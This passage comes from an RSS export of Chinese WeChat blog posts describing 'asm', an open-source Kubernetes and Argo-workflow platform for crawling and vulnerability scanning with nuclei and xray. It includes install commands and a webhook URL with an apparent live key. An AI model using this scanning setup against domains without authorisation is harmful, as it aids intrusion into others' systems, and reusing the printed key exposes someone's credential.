initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[11]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Evilran: <em><a href="https://github.com/Evilran" target="_blank">https://github.com/Evilran</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[12]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">ingest pipeline: <em><a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/ingest.html#ingest" target="_blank">https://www.elastic.co/guide/en/elasticsearch/reference/master/ingest.html#ingest</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[13]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">issue: <em><a href="https://github.com/leveryd-asm/asm/issues/20" target="_blank">https://github.com/leveryd-asm/asm/issues/20</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[14]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">pr: <em><a href="https://github.com/leveryd-asm/asm/pull/16" target="_blank">https://github.com/leveryd-asm/asm/pull/16</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485331">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=485496f9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485331%26idx%3D1%26sn%3D85c4d525ff9869bbe27ea036f1a4eced%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 23 Feb 2023 22:39:00 +0800</pubDate>
    </item>
    <item>
      <title>asm项目和爬虫</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485304&amp;idx=1&amp;sn=d1432252c6162e9cd8ca7b7561825bc4</link>
      <description>背景刚写asm项目时，爬虫服务是通过service对外提供服务。爬虫服务容器编排yaml文件见 https:</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2023-02-14 16:39</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景刚写asm项目时，爬虫服务是通过service对外提供服务。爬虫服务容器编排yaml文件见 https:</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5413d14f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYx3SwnicWH37XY3gsxrHCpFkPFNRfSeQdI36aFdtlQicB2R81lcSqO594C31MwficIU6pPLR5P6mp0og%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">刚写asm项目时，爬虫服务是通过service对外提供服务。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">爬虫服务容器编排yaml文件见 <a href="https://github.com/leveryd-asm/asm/blob/f6c481efbe/templates/crawler.yaml" target="_blank">https://github.com/leveryd-asm/asm/blob/f6c481efbe/templates/crawler.yaml</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">工作流中调用服务的例子见 <a href="https://github.com/leveryd-asm/asm/blob/f6c481efbe5820fb682bc1dc4113ec168cd2275e/templates/argo-workflow-template/argo-workflow-atom-template-crawler.yaml" target="_blank">https://github.com/leveryd-asm/asm/blob/f6c481efbe5820fb682bc1dc4113ec168cd2275e/templates/argo-workflow-template/argo-workflow-atom-template-crawler.yaml</a></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0481283422459893" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1122" src="https://wechat2rss.xlab.app/img-proxy/?k=c95d8817&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYx3SwnicWH37XY3gsxrHCpFkWoPZPeNh1P5mYFkTon1SlRr7gLpFCGxyr1QedicJFTz1EuNu9UUmVlw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但现在工作流中直接调用爬虫二进制文件</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8586387434554974" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1528" src="https://wechat2rss.xlab.app/img-proxy/?k=ad7d0a28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYx3SwnicWH37XY3gsxrHCpFkuOBIgbepoVDosrNK4icH9d20G6W4w1e6Fawd2B92DYbm9bVwJFC4e3g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">刚好有师傅问到这个，所以简单记录一下为什么要做这个改变。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>为什么最早要设计成&#34;通过service对外提供服务&#34;？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我现在也不记得确切的原因，估计当时是觉得爬虫可能会是一个很重要的模块，会对外提供很多能力，如果以api形式提供服务，以后调用起来就更方便。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">爬虫服务内部组件包含一个生产者和消费者，通过kafka通信。这种架构很常见，它有一些优点，包括 通过消息队列解耦、扩展性较好，通过创建多个消费者实例提高性能。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">代码见 <a href="https://github.com/leveryd-asm/crawler" target="_blank">https://github.com/leveryd-asm/crawler</a> 。</p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>为什么要变？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但爬虫服务存在一些问题，比如爬虫任务没有启停功能、我对kafka了解得很少、没有任务进度信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">基于上面的问题背景，因为argo ui提供了任务启停功能、任务进度也容易估算出来，也不需要kafka中间件、避免给自己挖坑，所以选择在argo-workflows工作流中直接调用爬虫二进制文件。</p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485304">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=05ae43ec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485304%26idx%3D1%26sn%3Dd1432252c6162e9cd8ca7b7561825bc4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Feb 2023 16:39:00 +0800</pubDate>
    </item>
    <item>
      <title>基于任务编排的漏扫实现(asm项目)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485293&amp;idx=1&amp;sn=35477b4533013ff0df64247d93b7f848</link>
      <description>https://github.com/leveryd-asm/asm实现了上周说的《基于任务编排玩一玩漏扫》</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-12-27 23:26</span> <span style="display: inline-block;">北京</span>
</p>

<p>https://github.com/leveryd-asm/asm实现了上周说的《基于任务编排玩一玩漏扫》</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4a9d06ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicUJTSFY5ibicDCEhWesTF60rZapxp03sue4b0AdF6DUe8xicL0gXVGaCXg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器"><span style="display: none;"></span></h1><h1 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;"><a href="https://github.com/leveryd-asm/asm" target="_blank">https://github.com/leveryd-asm/asm</a> 实现了上周说的《<span style="letter-spacing: 0px;">基于任务编排玩一玩漏扫》</span>，如果你是在资源<span style="letter-spacing: 0px;">有限的情</span><span style="letter-spacing: 0px;">况下做漏扫，或者想学一</span><span style="letter-spacing: 0px;">下k8s的运维使用，可以一键部署玩下</span><span style="letter-spacing: 0px;">这个</span><span style="letter-spacing: 0px;">项目。</span><span style="letter-spacing: 0px;">欢</span><span style="letter-spacing: 0px;">迎和我交流，我的微信是 happy_leveryd。</span><span style="letter-spacing: 0px;">下面向你介绍一下asm项目。</span><span style="letter-spacing: 0px;"></span></h1><h1 data-tool="mdnice编辑器"><span style="letter-spacing: 0px;"></span></h1><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;">asm是什么？</h1><table data-tool="mdnice编辑器"><tbody style="border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td width="50%" align="center" style="border-color: rgb(204, 204, 204);min-width: 85px;"><strong>提交爬扫任务</strong></td><td width="50%" align="center" style="border-color: rgb(204, 204, 204);min-width: 85px;"><strong>查看报警</strong></td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><img class="rich_pages wxw-img" data-ratio="0.7383177570093458" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1498" src="https://wechat2rss.xlab.app/img-proxy/?k=1fa063e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicbp8w9ibzMQJFnicKDB9hKsaxnlEv1RNSick4VV6libkXo5Uxb7qHvRy0Tw%2F640%3Fwx_fmt%3Dpng"/></td><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><img class="rich_pages wxw-img" data-ratio="0.5435185185185185" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=30c8c0f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicLheoTQzMMeNMFibMgPzib1aRJd27cDKP3caNg8smc9JicvHM1Gq8qD1uA%2F640%3Fwx_fmt%3Dpng"/></td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td width="50%" align="center" style="border-color: rgb(204, 204, 204);min-width: 85px;"><strong>提交POC扫描任务</strong></td><td width="50%" align="center" style="border-color: rgb(204, 204, 204);min-width: 85px;"><strong>查看任务状态</strong></td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><img class="rich_pages wxw-img" data-ratio="0.5972222222222222" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0d2d9965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaickBtAicBcPgpc42HkAozPlFoOLRvwiby8uprOMKjURkeUibSTcqsUQicicJA%2F640%3Fwx_fmt%3Dpng"/></td><td style="border-color: rgb(204, 204, 204);min-width: 85px;"><img class="rich_pages wxw-img" data-ratio="0.4898148148148148" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=abd07d09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicQnhkxmk28IibjtXeFNHMxCKZ5RhpIiaGWbrezAN3LpGDZah9fibsvVNBQ%2F640%3Fwx_fmt%3Dpng"/></td></tr></tbody></table><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">设计思路见 <a href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485271&amp;idx=1&amp;sn=8aba702fbb1af37100cf12fb4cf380ca&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);overflow-wrap: break-word;font-weight: bold;border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">基于任务编排玩一玩漏扫</a></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>特点</h1><summary><strong>💻  开箱即用 </strong></summary>内置五条工作流，只需要输入资产信息，就可以完成扫描任务<summary><strong>🕸 任务编排 </strong></summary>基于argo-workflow提供功能丰富、稳定的任务编排能力<summary><strong>🔗  基于kubernetes </strong></summary>任务编排引擎基于kubernetes调度工作容器，因此很容易实现通过水平扩展提升扫描性能；通过kubesphere可以更好地观测、运维应用<summary><strong>🤖 管理控制台 </strong></summary>向用户提供UI界面管理资产、运营漏洞；对于开发者来说，想要在控制台新增一个模板可以很快，常规的crud操作只需要通过配置选项就能完成模块的前后端开发<h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>运维指南</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>在k8s集群中一键部署</h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">安装 kubesphere</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kubesphere 可以用来管理k8s集群，并且提供了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ingress controller</code>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以按照如下命令安装<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">v3.3.1</code>版本</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">kubectl apply -f <a href="https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/kubesphere-installer.yaml" target="_blank">https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/kubesphere-installer.yaml</a><br/>kubectl apply -f <a href="https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/cluster-configuration.yaml" target="_blank">https://github.com/kubesphere/ks-installer/releases/download/v3.3.1/cluster-configuration.yaml</a><br/></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">详细安装步骤参考 kubesphere</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果你不需要kubesphere，可以使用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ingress-nginx</code>作为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ingress controller</code>。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">安装本项目</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">第一次安装，需要执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">helm dependency build</code>下载依赖。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">执行如下命令会在asm命名空间中安装本项目</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">helm -n asm template ./helm | kubectl apply -n asm -f -<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你也可以向helm传递参数来修改安装的配置，如下命令会使用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">manage.com</code>作为域名访问控制台</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">helm -n asm template ./helm --<span style="color: #e6c07b;line-height: 26px;">set</span> console_domain=manage.com  | kubectl apply -n asm -f -<br/></code></pre><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">卸载本项目</section></li></ul><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">helm -n asm template ./helm | kubectl delete -n asm -f -<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>用户指南</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>怎么访问asm控制台？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">绑定域名到node节点后(域名默认是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">console.com</code>)，在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">kubesphere</code>控制台上找到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">console</code> ingress访问地址，如下图所示</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><img class="rich_pages wxw-img" data-ratio="0.5231481481481481" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=56b298f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaiczogF5OoO3KZe5awErAFBGtXXwyoqKfABF3HcVRicB0jNRy68iaD6DM0Q%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-ratio="0.3453703703703704" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6233bee3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicibowyX1jfBVSibOEMuMibQuT0EZfAXwJvCicYnf5QiapIqFic4dlRUSwflVg%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">访问服务进入到asm控制台<img class="rich_pages wxw-img" data-ratio="0.4324074074074074" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cfad810b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaicKGEoApF6ibI2diazPDl1blvZatTx8BeicCjZ4kXMrlQ8kaMwI0KydIzEg%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>怎么对某个域名做漏洞扫描？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以选择默认的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">nuclei扫描-保存结果</code>模板，如下图所示。输入域名后，点击<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Submit</code>按钮，等待扫描完成即可。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6101851851851852" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da8705a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwu1Zq4xucG3pTwyb1ZLmiaic8XiaNl8UzQrQnqg0K6mhJoVenPXDWCkhoDglUHZxWLuIDfjyIdl1KDQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">默认还有其他模板，可以针对二级域名(比如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">leveryd.top</code>)做扫描，或者针对库中的二级域名列表做扫描。你可以根据自己的需求选择合适的模板。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>怎么运营漏洞？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以在asm控制台上运营漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">xray扫描的漏洞也会通过webhook推送到企业微信群。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">需要你在安装本项目时有设置<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">weixin_webhook_url</code>参数，比如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">helm --set weixin_webhook_url=<a href="https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=07d4613c-45ef-46e2-9379-a7b2aade3132" target="_blank">https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=07d4613c-45ef-46e2-9379-a7b2aade3132</a></code></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: 